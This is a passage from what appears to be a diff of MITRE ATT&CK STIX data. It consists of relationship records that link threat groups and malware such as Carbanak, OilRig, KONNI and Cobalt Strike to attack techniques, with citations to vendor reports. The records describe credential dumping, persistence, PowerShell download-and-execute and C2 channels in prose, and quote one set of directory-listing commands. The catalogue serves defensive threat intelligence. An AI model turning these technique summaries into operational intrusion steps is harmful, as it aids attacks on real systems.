"attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) installs VNC server software that executes through rundll32.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) terminates anti-malware processes if they\u2019re found running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a99f7b3c-4757-47b0-8649-795f1e0f7c60", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can create a service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6a866320-6bfd-4130-941c-bcd888f2ee92", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "source_name": "Symantec Wiarp May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can execute arbitrary commands on the infected host using cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:40.984Z", + "id": "relationship--afb593c0-5388-441c-a868-c8bc520ffcaa", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:18.887Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails containing malicious links.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.708Z", + "id": "relationship--5758382a-2ada-4d05-ad25-8ee802a9e041", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:39:56.558Z", + "id": "relationship--b39c536a-55f1-485a-8235-24acb39d0be6", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "modified": "2019-04-18T21:49:12.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used FTP to exfiltrate collected data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--177950ec-8f25-4243-8d9d-a15e24ff7c98", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.731Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has encrypted and encoded data in its malware, including by using base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + }, + { + "source_name": "Unit42 OilRig Nov 2018", + "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f653eb7d-7027-4161-9071-b52336bd4fbc", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "source_name": "FireEye WMI 2015", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--8b439661-99e2-4410-b043-082155793155", + "source_ref": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e", + "modified": "2019-07-24T14:31:34.364Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about files and directories: dir c:\\ >> %temp%\\download dir \"c:\\Documents and Settings\" >> %temp%\\download dir \"c:\\Program Files\\\" >> %temp%\\download dir d:\\ >> %temp%\\download", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.575Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4ff492bf-f91d-445d-a29e-6e60c67a05c1", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.610Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can install itself as a new service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--88ad4f5a-f127-435c-a8a0-6a6fceddfa47", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.747Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--949c94e6-7c2f-4605-957f-11b7cd5a6097", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.509Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[H1N1](https://attack.mitre.org/software/S0132) obfuscates C2 traffic with an altered version of base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:15.999Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[KONNI](https://attack.mitre.org/software/S0356) used PowerShell to download and execute a specific 64-bit version of the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:40.867Z", + "id": "relationship--7425e191-ec5c-40ec-ab5f-fb99d6064422", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:18.929Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) uses cmd.exe to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2fbbc518-3feb-4613-9981-297d928c483f", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used the netstat -anpo tcp command to display TCP connections on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.599Z", + "id": "relationship--db852d3d-7f78-43b9-bd14-3f2d11c22863", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) collects MAC address and local IP address information from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses HTTP TCP port 80 and HTTPS TCP port 443 for communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.486Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) creates a new Windows service with the malicious executable for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9ee064f9-05bc-4b9e-ad95-d1ae4f1c048a", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.302Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Briba](https://attack.mitre.org/software/S0204) connects to external C2 infrastructure over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--059a5fef-cf4e-4bfd-b9e7-042c3521e37a", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--64aab090-e7c2-4114-8c15-49700b611fb8", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.859Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can communicate over a reverse proxy using SOCKS5.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ba218f25-8703-4042-98b0-42afe1c49503", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--ba4e03d1-f9b6-442d-974b-2fb7feddb551", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.829Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ThreatConnect Anthem", + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d13aaa09-5465-4439-b100-444242601a98", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.422Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Briba](https://attack.mitre.org/software/S0204) downloads files onto infected hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--36755c7d-92bf-4851-91ef-f1bf41f27210", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a scheduled task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.152Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", + 